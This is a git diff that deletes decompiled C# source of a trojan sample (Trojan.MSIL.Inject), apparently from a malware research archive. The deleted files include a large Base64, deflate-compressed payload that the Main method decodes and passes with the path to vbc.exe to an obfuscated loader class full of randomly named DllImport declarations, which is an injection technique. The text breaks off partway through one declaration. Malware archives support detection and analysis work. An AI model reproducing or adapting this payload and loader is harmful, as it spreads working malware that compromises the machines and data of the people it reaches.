[DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/Trojan.MSIL.Inject.sh.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/Trojan.MSIL.Inject.sh.csproj deleted file mode 100644 index dd98a311..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/Trojan.MSIL.Inject.sh.csproj +++ /dev/null @@ -1,45 +0,0 @@ - - - - - Debug - AnyCPU - {45C538C1-438F-476B-8E65-7D33ABCE761F} - WinExe - warcnostart - 3.3.8.9 - My - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/Trojan.MSIL.Inject.sh.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/Trojan.MSIL.Inject.sh.sln deleted file mode 100644 index 7ddb830d..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/Trojan.MSIL.Inject.sh.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "warcnostart", "Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a.csproj", "{45C538C1-438F-476B-8E65-7D33ABCE761F}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {45C538C1-438F-476B-8E65-7D33ABCE761F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {45C538C1-438F-476B-8E65-7D33ABCE761F}.Debug|Any CPU.Build.0 = Debug|Any CPU - {45C538C1-438F-476B-8E65-7D33ABCE761F}.Release|Any CPU.ActiveCfg = Release|Any CPU - {45C538C1-438F-476B-8E65-7D33ABCE761F}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/YKlIHiQhUYxYjdv.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/YKlIHiQhUYxYjdv.cs deleted file mode 100644 index 290e34e3..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/YKlIHiQhUYxYjdv.cs +++ /dev/null @@ -1,38 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: YKlIHiQhUYxYjdv -// Assembly: warcnostart, Version=3.3.8.9, Culture=neutral, PublicKeyToken=null -// MVID: A32EF3A4-FB6C-415E-B03C-F5A66E56A760 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.IO.Compression; - -[StandardModule] -public sealed class YKlIHiQhUYxYjdv -{ - [STAThread] - public static void Main() => new yvHKZuvFPKnDWpJ().jbBQIsacwZesDXk(YKlIHiQhUYxYjdv.oztMuSCMSOaqGNP(Convert.FromBase64String("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")), "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe"); - - public static byte[] oztMuSCMSOaqGNP(byte[] input) - { - DeflateStream deflateStream = new DeflateStream((Stream) new MemoryStream(input), CompressionMode.Decompress); - int offset = 0; - int num1 = 0; - byte[] numArray; - while (true) - { - numArray = (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[checked (num1 + 100 + 1)]); - int num2 = deflateStream.Read(numArray, offset, 100); - if (num2 != 0) - { - checked { offset += num2; } - checked { num1 += num2; } - } - else - break; - } - return (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[checked (num1 - 1 + 1)]); - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/yvHKZuvFPKnDWpJ.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/yvHKZuvFPKnDWpJ.cs deleted file mode 100644 index 4de58bd6..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/yvHKZuvFPKnDWpJ.cs +++ /dev/null @@ -1,1933 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: yvHKZuvFPKnDWpJ -// Assembly: warcnostart, Version=3.3.8.9, Culture=neutral, PublicKeyToken=null -// MVID: A32EF3A4-FB6C-415E-B03C-F5A66E56A760 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a.exe - -using System; -using System.Runtime.InteropServices; -using System.Text; - -public class yvHKZuvFPKnDWpJ -{ - [DllImport("wldap32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ldap_close_extended_op(ref IntPtr ld, long MessageNumber); - - [DllImport("NfcyUtyvHKZuvFPKnDWpJEsY.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] NrcXMgXObmVUItVrESzRDHhVT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string higlWPWBONdhjbBQIsacwZe, - string[] sDXkYKlIHiQhUYxYjdvsPl, - char KCxKapLyIfaEGmGMUJoxy); - - [DllImport("abCLXzTxWoOoztMuSCMSOaqG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wCZgnRedtxzrRgYJqsOquJFnC( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NPYvqUWDJckaGBBzFpwEUut, - string[] KzDuTwbZHvQHxLVEErrSbn, - char QjPmFRFDwOMiScieqPQlm); - - [DllImport("rUyjfTneVjtcbPCcyLZHYLPo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] vUBetagzIxdYZXcNGOrTEUYaS( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string caUmjGcBHDORgCDNWRuKdxQ, - string[] LzfopnsdXeIVUkoriIXPzh, - char jFhlzKesfSsPOqXpbfFfq); - - [DllImport("GEJgnuZllBFIyYngQxBVxCQM.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] kDzWsRJFRhwSGPmhLNtOTbRwF( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vJiiJSeHaGdvVvHBTDZJUZV, - string[] hyNVWfExbdKQjrhNIJHMwE, - char LbCCRIKCbEigODXOFSdML); - - [DllImport("mvUBetagzIxdYZXcNGOrTEUY.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] yyaiuXqWtMYMKEWTpZkpmxPQl( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string aSrUyjfTneVjtcbPCcyLZHY, - string[] LPocaUmjGcBHDORgCDNWRu, - char KdxQLzfopnsdXeIVUkori); - - [DllImport("qkDzWsRJFRhwSGPmhLNtOTbR.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] IXPzhjFhlzKesfSsPOqXpbfFf( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wFGEJgnuZllBFIyYngQxBVx, - string[] CQMvJiiJSeHaGdvVvHBTDZ, - char JUZVhyNVWfExbdKQjrhNI); - - [DllImport("LyyaiuXqWtMYMKEWTpZkpmxP.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] JHMwELbCCRIKCbEigODXOFSdM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QlmvUBetagzIxdYZXcNGOrT, - string[] EUYaSrUyjfTneVjtcbPCcy, - char LZHYLPocaUmjGcBHDORgC); - - [DllImport("iIXPzhjFhlzKesfSsPOqXpbf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DNWRuKdxQLzfopnsdXeIVUkor( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string FfqkDzWsRJFRhwSGPmhLNtO, - string[] TbRwFGEJgnuZllBFIyYngQ, - char xBVxCQMvJiiJSeHaGdvVv); - - [DllImport("IJHMwELbCCRIKCbEigODXOFS.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] HBTDZJUZVhyNVWfExbdKQjrhN( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dMLyyaiuXqWtMYMKEWTpZkp, - string[] mxPQlmvUBetagzIxdYZXcN, - char GOrTEUYaSrUyjfTneVjtc); - - [DllImport("CDNWRuKdxQLzfopnsdXeIVUk.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] bPCcyLZHYLPocaUmjGcBHDORg( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string oriIXPzhjFhlzKesfSsPOqX, - string[] pbfFfqkDzWsRJFRhwSGPmh, - char LNtOTbRwFGEJgnuZllBFI); - - [DllImport("vHBTDZJUZVhyNVWfExbdKQjr.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] yYngQxBVxCQMvJiiJSeHaGdvV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string hNIJHMwELbCCRIKCbEigODX, - string[] OFSdMLyyaiuXqWtMYMKEWT, - char pZkpmxPQlmvUBetagzIxd); - - [DllImport("cbPCcyLZHYLPocaUmjGcBHDO.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YZXcNGOrTEUYaSrUyjfTneVjt( - 